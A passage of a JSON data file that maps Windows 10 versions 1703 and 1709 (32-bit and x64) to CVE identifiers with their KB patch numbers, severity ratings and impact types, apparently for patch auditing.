Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099535","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123099","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for 32-bit Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1703 for x64-based Systems":[{"cve":"CVE-2017-0213","kb":"4038788","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4016871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041676","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041676","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048954","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053580","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022725","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022725","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025342","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038788","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038788","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0743","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056891","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074592","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074592","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088782","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103731","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343885","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093107","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103731","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284874","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457138","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462937","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462937","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467696","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467696","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103731","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487020","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480973","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493474","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0841","kb":"4493474","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503279","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1709 for 32-bit Systems":[{"cve":"CVE-2017-11830","kb":"4048955","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4054517","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0743","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0748","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056892","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0823","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074588","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074588","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088776","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103727","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088776","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343897","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093112","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103727","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284819","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457142","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462918","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467686","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467686","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103727","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4486996","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480978","severity":"Important","impact":"Elevation of 